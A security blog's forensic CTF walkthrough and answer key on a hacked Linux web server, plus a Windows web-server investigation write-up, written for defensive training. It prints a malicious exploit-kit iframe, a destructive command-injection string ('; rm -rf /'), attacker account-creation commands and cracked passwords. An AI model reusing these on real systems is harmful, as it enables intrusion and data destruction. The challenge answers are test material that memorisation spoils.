## Wednesday, March 22, 2017

### Walkthrough: Forensic CTF - Bob's Chili Burgers Website Hacked

I'm really pumped that I had two requests to walk through this forensic CTF I made last year. I created this one for a ~4hr CTF event in a SOC and it was well received. Many SOC analysts have done Windows compromise cases but are still waiting for that fateful day when the China SSH bots finally guess a root password ("Letmein!12", unguessable!) on the one Linux server exposed to the internet without certificate authentication. This is an introductory Linux forensics case and I hope you had/have some fun with it. 😊

We'll address each question in order using the SIFT workstation VM.

Mounting the Image on SIFT or Kali:
1. Place the image in your /cases directory
2. sudo su   # become root
3. ewfmount /cases/BobsFamousChiliCase_Logical.E01 /mnt/ewf_mount1/ # Mount the E01 as a RAW in /mnt/ewf_mount1/
4. mount -t ext4 -o ro,loop,noexec,noload /mnt/ewf_mount1/ewf1 /mnt/e01 # Mount the RAW in /mnt/e01, use "noload" option to fix filesystem

Questions:

1. Verify SHA1 Checksum of the image provided:
This is easily done in most Linux distributions out of the box with the "sha1sum" tool. You could also do this on your Mac terminal easily using "shasum", or on Windows Powershell using "Get-FileHash -Algorithm SHA1 C:\path\to\file.ext".

Despite this ambiguity this is pretty easy to figure out. With Linux intrusion cases I start in "/var/log" (where most logs are stored by default).

A directory listing of the /var/log on this system shows that the logs are very small in size, indicating this system is likely lightly used. This should make it easier to identify malicious activity because we don't have to sift through gigabytes of old log data.

Auth.log is a logical first log to review as it contains all the authentication logs including SSHD and user group changes. A quick word count by lines shows this is a very short log and something we can review line by line in a minute.

A quick grep for "Accepted" and "Failed" logins (command grep -E "Failed|Accepted" auth.log - Breakdown: -E is extended regex which allows us to amongst other things provide multiple pipe delimited patterns) shows us what we need. There are a series of RFC1918/local logins followed by internet based failed logins, and finally a root login from 5.101.65.141 at 20:03:45.

The answer to this question is simply "SSH".

3. What distribution and version is this system?
Two of the most common initial Linux enumeration commands are "cat /etc/issue" and "uname -a" which generally pull back the distribution version, kernel version, hostname, architecture, etc. The "uname" command calls back to a binary on disk, but /etc/issue is a file on disk we can easily read from the image.

4. What country is the attacker's IP address from?

In question 2 we identified 5.101.65.141 as the attacking IP address. There are tons of online resources we could use to identify the country this IP is assigned to (robtex, domaintools, etc) but pretty much all of these will use whois on the backend. Quickest way is to simply "whois 5.101.65.141".

Answer: It's always Russia, am I doing this right? 😐

5. What time was the attacker account created in UTC (XX:XX:XX format)?

This is another one we can find easily in the auth.log. User "radvlad" was created on "Jun 1 20:11:03"

6. What port is the protocol used to compromise the system set on?

SSH stores it's configuration in /etc/ssh/sshd_config. Let's search that file for port (note: the -i after Grep makes the pattern case insensitive, usually a good idea when you know a keyword but not the case).

7. How many different countries are represented by the IP's in the web server log?

Ok here's the first one where we get to have a little command line fun. Apache2 is installed which stores its logs in /var/log/apache2. The "accesss.log" is clearly the one that is being asked about as it shows who visited and made requests on the web server. We'll need to use some coreutils to quickly find this answer:

First thing I'd do is look at a "tail" of the log to see the format:

Boom, very first item is the IP address. Lets see how many unique IP's there are using the cut command to show us only the text that appears before the first space (cut -d" " -f1), sort to put the resulting IP's in order, then uniq to show us only unique IP's in that list:

We can disregard the ::1 and the RFC1918 address, so that leaves us 7 unique IP's. Originally when I created this challenge I did something cool like the below:

But as you can see I got some "connection refused" items and I'm generally not confident with the result. Sometimes we have to follow the "KISS" model and just use a known quantity like MXToolbox ( https://mxtoolbox.com/BulkLookup.aspx ).

8. What date and time (directly copy/paste from log) did the attacker first log in?

9. What is the IP that failed to log in directly before the attacker successfully logged in?

Another simple auth.log request. Now this one I could see someone contesting as the "attacker IP" technically failed to login directly before they succeeded in guessing the password. I was looking for the other IP that tried to login right before.

10. What day of the week does the attacker's cron job fire?

User cron files are located in "/var/spool/cron/crontabs". In this folder we see one file "root".  In this text file we see just one cron job defined:

Aha! The jerk set a cron job to use netcat to send a reverse shell to his IP address on a recurring basis. Quick review of the cron format (image credit: https://en.wikipedia.org/wiki/Cron) shows that the command is set to run the 30th minute, on the 17th hour, on any day of any month, but only on Mondays.

11. What is the name of the user account the attacker made?

12. The attacker set a password for the account that they made, what is it set to?

Woot, we get to use our basic attacker toolkit now to crack some passwords for #12-13. John the ripper is the classic choice for cracking the shadow file from a Linux box and would be my choice.

You can quite simply run "john ./etc/shadow" from the root of the mounted image to start cracking passwords on the box. These passwords are thankfully quite simple and can be cracked with the default profile in John, however if you want to crack them FAST (like if you were in a CTF) use a wordlist such as RockYou.txt as a starting point. Note that most real CTF's ensure passwords aren't in RockYou, CrackStation, etc to make it more difficult and require some thought on your part.

13. The attacker changed the root password, what is it set to?

See the screenshots for #12.

14. What addition to the website is causing users to get redirected to malicious pages?

We've already learned a lot about this system that helps us start this question. We know the server is running Apache2, so we can expect to see the webroot in /var/www by default. We know the times the attacker was logged in, and we know he was logged in as root.

Root command line history: Lets verify if there are any hints in the .bash_history for the root user.

Well this is quite obvious, the attacker used echo to append an iframe to a weird looking link to the index.html file. He also appreciated the 1337 password that was set for the root password and saw fit to taunt the administrators, what a scalawag!

Let's verify this by doing a tail on the index.html file in /var/www/html.

15. What exploit kit is the link associated with?

This question is actually a little harder than it was when the challenge was fresh. At the time the challenge was made this was an actively tracked EK link in sites like Malware Domain List. Even still, a quick Google search for the full URL will get you the answer.

16. What is the sha256 hash of the first file the attacker added to /var/www/html?

There are a couple of .exe files in the /var/www/html. The question here is which was added first? The default behavior of the "ls" command will show you the last modified time of the file. This isn't that useful in this case because one of the files was last modified back in April. The last modified time wasn't updated when the files were moved here. To overcome this lets take a look at the output of the "stat" command for both files, then do a sha256sum for both files.

We can see the "setup.exe" has an access and metadata change time of 00:21:39 which is earlier than the 00:21:58/00:22:13 of the setup_20001.exe file.

17. What is the ClamAV name for the second file the attacker added to /var/www/html?

This is as simple as doing a Virustotal.com search for the hash of the setup_20001.exe file. Alternately you could install ClamAV and run it against the file, but there's no guarantee that would still be accurate so long after this challenge was created.

18. What file was exfiltrated? && 19. What command line tool did the attacker use to exfiltrate the file?

We saw that the attacker apparently didn't clean up the .bash_history for the root user, so lets head back there.

Woot, there's the answer to both 18 and 19. The user uploaded the "Secret-Recipe-Chili" to Pastebin.com using the "pastebinit" tool.

20. BONUS: URL for the exfiltrated file?

I honestly don't think this one is possible to answer anymore. I can't find the paste. It must have been cycled out for more interesting pastes :-).

That's it! Hope this helps someone. Please leave me feedback if you have better ways to work the case, ideas for new comedy themed DFIR practice material, or any questions.

## Sunday, March 19, 2017

### Answers: Forensic CTF - Bob's Chili Burgers Website Hacked

Emma V writes:
Hey, will you post the answers ?

Answer: Yes! Sorry I hadn't posted them previously. Glad you worked the case, hope you had fun. Let me know if there's any interest on a walkthrough for this one, I'd be happy to put one together.

1. Verify SHA1 Checksum of the image provided: c67d36f2a8851fdf9bb3de9fd0441b619e40c070
3. What distribution and version is this system? Ubuntu 14.04.4 LTS
4. What country is the attacker's IP address from? Russia
5. What time was the attacker account created in UTC (XX:XX:XX format)? Jun 1 20:11:03
6. What port is the protocol used to compromise the system set on? 422
7. How many different countries are represented by the IP's in the web server log? 6
8. What date and time (directly copy/paste from log) did the attacker first log in? Jun 1 20:03:45
9. What is the IP that failed to log in directly before the attacker successfully logged in? 107.150.94.4
10. What day of the week does the attacker's cron job fire? Monday
12. The attacker set a password for the account that they made, what is it set to? 1qaz2wsx
13. The attacker changed the root password, what is it set to? asdzxc
14. What addition to the website is causing users to get redirected to malicious pages? <iframe src="http://anecdote.roobaroo.org/xegblh2.html"></iframe>
15. What exploit kit is the link associated with? Angler
16. What is the sha256 hash of the first file the attacker added to /var/www/html? 94ebd2af4d1e1e4d01c4806cf1d94c44d24014da0703424f864e5e8cd3396fb9
17. What is the ClamAV name for the second file the attacker added to /var/www/html? Win.Trojan.691128-1
18. What file was exfiltrated? Secret-Recipe-Chili
19. What command line tool did the attacker use to exfiltrate the file? pastebinit

## Saturday, March 18, 2017

### Ashemery.com: Challenge #1 - Web Server Case Write-up

I found this awesome collection of DFIR training scenarios on dfir.training (thanks to @DFIR_tools and Ali Hadi, Ph.D.): http://www.ashemery.com/dfir.html

Hashes.

Here's my write-up for Ali Hadi's "Web Server Case". This is a simple case but enjoyable because you can correlate disk artifacts and memory to build the picture of attacker activity. I'll write this up as I go so that anyone could follow along (note: this is more of a walkthrough than a report).

Ali provided 7 main questions to guide analysis:
1. What type of attacks have been performed on the box?
2. How many users has the attacker(s) added to the box, and how were they added?
3. What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean and cover their tracks)
4. What software has been installed on the box, and were they installed by the attacker(s) or not?
5. Using memory forensics, can you identify the type of shellcode used?
6. What is the timeline analysis for all events that happened on the box?
7. What is your hypothesis for the case, and what is your approach in solving it?

Gather System Information:
My first step was to get some contextual information on the system. I mounted the image using FTK imager (make sure to always mount as "Filesystem / Read-only" to ensure your tools work as intended) and extracted the desired registry hives (system, software, sam, ntuser.dat, usrclass.dat).

I used Eric Z's Registry Explorer and Harlan C's RegRipper to get two different views of the System and Software hives. I often use both of these tools to verify against each other. I also prefer Explorer for less structured analysis, and RegRipper for getting all the common answers I need on every case (Reg Explorer does this too with Bookmarks, but I like some of the auto-conversions in RegRipper and it's just a tool I'm comfortable with honestly).

Computer Name: WIN-L0ZZQ76PMUF

Time Zone: PDT (ActiveTimeBias is -7UTC)

OS Version: Windows Server 2008 Standard (from Software hive)

Users: Administrator [500], user1 [1005], hacker [1006] (lol, used RegRipper SAM profile)

Since this is a pretty obvious practice scenario created for a college course, the instructor gives us easily spotted pivot points. The "Account Created" times for the "user1" and "hacker" accounts are the first critical items we can add to our timeline and pivot from.

Get Organized:
It always pays dividends when I take a few minutes to group my analytic questions to answer, write down what artifacts I expect to need to answer each question, and also write down any unknowns that I don't currently have a plan for but need to be answered.

In this case we don't have much context other than: This is a web server. It has been hacked via a web service. The attacker has added some accounts. Other than these clues we have to figure it out ourselves, which puts extra emphasis on vetting out legitimate vs attacker activity.
• What types of attacks have been performed on the box? Expected to use web server logs, file system timeline, memory analysis (especially if web logs lack parameters which we can potentially fill in with memory).
• How many users did the attacker add? (hypothesis == 2 based upon SAM) and how were they added? To figure out how they were added we'll need to find the actual commands run, this might be in the web logs depending on the vulnerability exploited or in memory.
• What leftovers (files, tools, info, etc) did the attacker(s) leave behind? This sounds like a filesystem timeline ($MFT,$LogFile, $UsnJrnl:$J) task if I've ever heard one.
The first necessary step in answering this question is determining the web server software installed. In this case XAMPP is installed. Finding the version of the web server software running is pretty simple, here are a few ways:

• Via Disk: right in the root of the drive you see a XAMPP folder suggesting the Windows LAMP stack is installed.
• Via Memory:

Netscan shows httpd.exe (Apache) is running and listening on 80/443.

PS C:\Users\aswood\Desktop\tools\Forensics\Memory Forensics\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe -f C:\Users\aswood\Desk
top\Cases\Challenge1_WebServerCase\memdump\memdump.mem --profile=Win2008SP2x86 netscan

Pslist (or psscan/psxview) shows that Mysqld.exe, httpd.exe, and xampp-control.exe are running.

PS C:\Users\aswood\Desktop\tools\Forensics\Memory Forensics\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe -f C:\Users\aswood\Desk
top\Cases\Challenge1_WebServerCase\memdump\memdump.mem --profile=Win2008SP2x86 pslist

XAMPP is a prepackaged LAMP stack which has packages for Windows, Linux and OSX. It's really focused on ease of use and setup, which often leads to default and insecure configurations being used in production. We still have the image mounted as E:\ drive so viewing the logs is as simple as accessing "E:\[root]\xampp\apache\logs".
As with any Apache install, the access.log is the key artifact that will show us what requests were made to the server. In this case it's really simple to start finding answers to our questions using the time period of the account creation (Sept 2 2015 ~0900 UTC) and the account names (hacker, user1) as a pivot point.

A simple search through the access.log for the minute of the account creation has interesting results:

We see a series of POST's to "/dvwa/vulnerabilities/exec" with a 200 response. DVWA is "Damn Vulnerable Web App" a common teaching tool for basic web application pen-testing (fun if you've never worked through it, highly recommended as well as most things on VulnHub). Here's what the "vulnerabilities/exec/" page looks like in DVWA:

Essentially it's an insecure web front-end for the ping command. The page doesn't perform any input validation, allowing anyone to end the ping command and run another command. Example: "192.168.0.1; rm -rf /" ("ouch" says linux server running apache2 as root!)

Creating Filesystem Timeline:

There are many tools that can create a functional filesystem timeline. Here are some options:
• Absolute Fastest/Laziest MFT based: FTK Imager can create a "Directory Listing" which contains MAC times (right click in evidence tree, select "Export Directory Listing".
• Sleuthkit FLS & Mactime can be used to create a filesystem timeline in NTFS.
• Log2timeline/Plaso can be used to create a filesystem timeline.
• A simple MFT parsing tool like RedWolf MFT_Parser or AnalyzeMFT.py
I opted for something a little overkill and cool by using David Cowen's Triforce (ANJP 3.11.07 free edition) tool. It doesn't hurt that Zelda just came out. This tool accepts not just the $MFT but also the$J and \$LogFile, putting pretty much all the filesystem metadata available on disk in your hands to interpret. Parse these files using ANJP, connect to the database, and finally export any filtered views you need to review to text or XLSX.

What are the first two "Deleted" records reported from the USN Journal? How about two artifacts of php shells dropped via SQL injection? #mastersword

Creating Volatility Compatible Memory Strings file:

You can simple run strings against a memory dump and use command line tools to find items of interest. This is the oldest form of memory forensics and is still very useful. Volatility takes that technique to another level by telling you what processes space the string appears in! This can actually be done in (at least) two different ways. One simple way I've used many times is with the Volatility "yarascan" module. By using the --yara-rules "mystring" you can search for one string (or a YARA rule full of strings with the --yara-file switch) and find what process it resides within.

To do this at scale - you can use the Volatility strings module which requires an input file of the strings preceded with their decimal offset within the memory dump. Strings.exe from Sysinternals can produce this output with a command similar to the below:

After this is created you can run this output file through Volatility with the "strings" module to produce another file with the process mapping for every string! This is a technique I don't generally use, so I was excited to put it to work after reading about it in the crucial tome "Art of Memory Forensics" (highly recommended if you don't own it - enjoy it over the course of several months IMO :-) ).

Attack: Command Injection
This leads us to the first attack against this box - command injection. Looking at our access.log for the POST's to "dvwa/vulnerabilities/exec/" shows that we do not have the parameters supplied to the web server. As far as I know - there isn't an on-disk artifact in this case which shows the commands run to create the accounts so we need to pivot to memory.

Using Volatility (I'm using 2.6 standalone Windows version from here) the first commands that come to mind are "consoles" and "cmdscan". Essentially consoles is the newer plugin and will show us both the command and result.

PS C:\Users\aswood\Desktop\tools\Forensics\Memory Forensics\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe -f C:\Users\aswood\Desk
top\Cases\Challenge1_WebServerCase\memdump\memdump.mem --profile=Win2008SP2x86 consoles
The "consoles" module shows us the commands run to create the "user1" account, add it to the "Remote Desktop Users" local group, and enable RDP in the Windows firewall. Note that at this time we don't have confirmation that the "user1" account was added via the DVWA command execution vulnerability, it's simply a hypothesis.

Well that's great - but what about the "hacker" account? It's not in the consoles display like the creation of "user1". We know the command execution vulnerability is being served up by the HTTPD.exe process, so lets dump the memory space from that process (or processes) and string search them.

To do this I used the "memdump" module in Volatility as below to dump the process space of the two httpd.exe processes to my Artifacts directory.

After you've dumped the process space, you can simply string search the files. I created text files of all strings with the Sysinternals strings program. After you've created your lists of strings you can simply search them using Select-String or Grep.

Alright! At the bottom we see the "net user hacker hacker /add" and "net localgroup "Remote Desktop Users" hacker /add" commands. Take note of the %26%26 before the commands - this shows that the attacker was submitting a ping request through the DVWA web app for 192.168.56.102 (his own IP) then typing && (%26%26 in URI encoding) to break out of the ping command and run additional commands. Interestingly we do not have the same results for the "user1" account which was added just 19 seconds before the "hacker" account. This leads me to hypothesize that these two accounts were added in different ways.

That last discovery gives us another pivot (queue Zelda sound)! "%26%26 (&&) can serve as a relatively unique pattern representing commands run via the DVWA command injection vulnerability.

Using this pivot we do see some additional recon activity (directory listings of the "Windows" and "Users\Administrator" directories) but not much else. It definitely appears this exploitation was primarily used as an example and to create the "hacker" account.

Attack: SQL Injection

Using the access.log we can observe the SQLmap SQL injection ("SQLi") tool default user agent string and fairly obvious SQLi behavior starting at 11:15:40. Because these attacks were run against the "/dvwa/vulnerabilities/sqli page it did not take long for the SQLi attack to gain a shell.

SQLmap writing a simple shell to disk:

At 11:25:53 two files are dropped on the box "tmpbiwuc.php" and "tmpukudk.php". Within the same second we see a GET request for "tmpbiwuc.php" intended to run the command "echo command execution test". At 11:26:23 the "tmpukudk.php" file was deleted by a command issued by through the SQLmap created shell.

On 9/3/15 @ 6:52:24 another SQLi attack succeeds and new PHP shells are dropped "tmpudvfh.php" and "tmpbrjvl.php". Once again the initial file "tmpudvfh.php" is deleted via a subsequent command. I have been on the serving end of SQLmap many times in the past, but relatively few times on the receiving end of an attacker getting a command shell directly through SQLmap. I hypothesize this is normal behavior for SQLmap to create an initial dropper, create a more full featured shell, then delete the dropper, but I haven't verified this.

Attack: Local File Inclusion

There are obvious indicators of local file inclusion in the access.log. The attacker appears to utilize a LFI vulnerability in "/dvwa/vulnerabilities/fi/" to read multiple sensitive files on disk and to read files which the attacker themselves wrote to disk via other methods. Reading an attacker written local file is the bridge between a RFI ("Remote File Inclusion") and LFI, and usually allows command execution.

1. Attacker uses LFI to read the Windows hosts file.
2. Attacker uses LFI to read "data.txt" which contains "Hello". Appears to be a test file.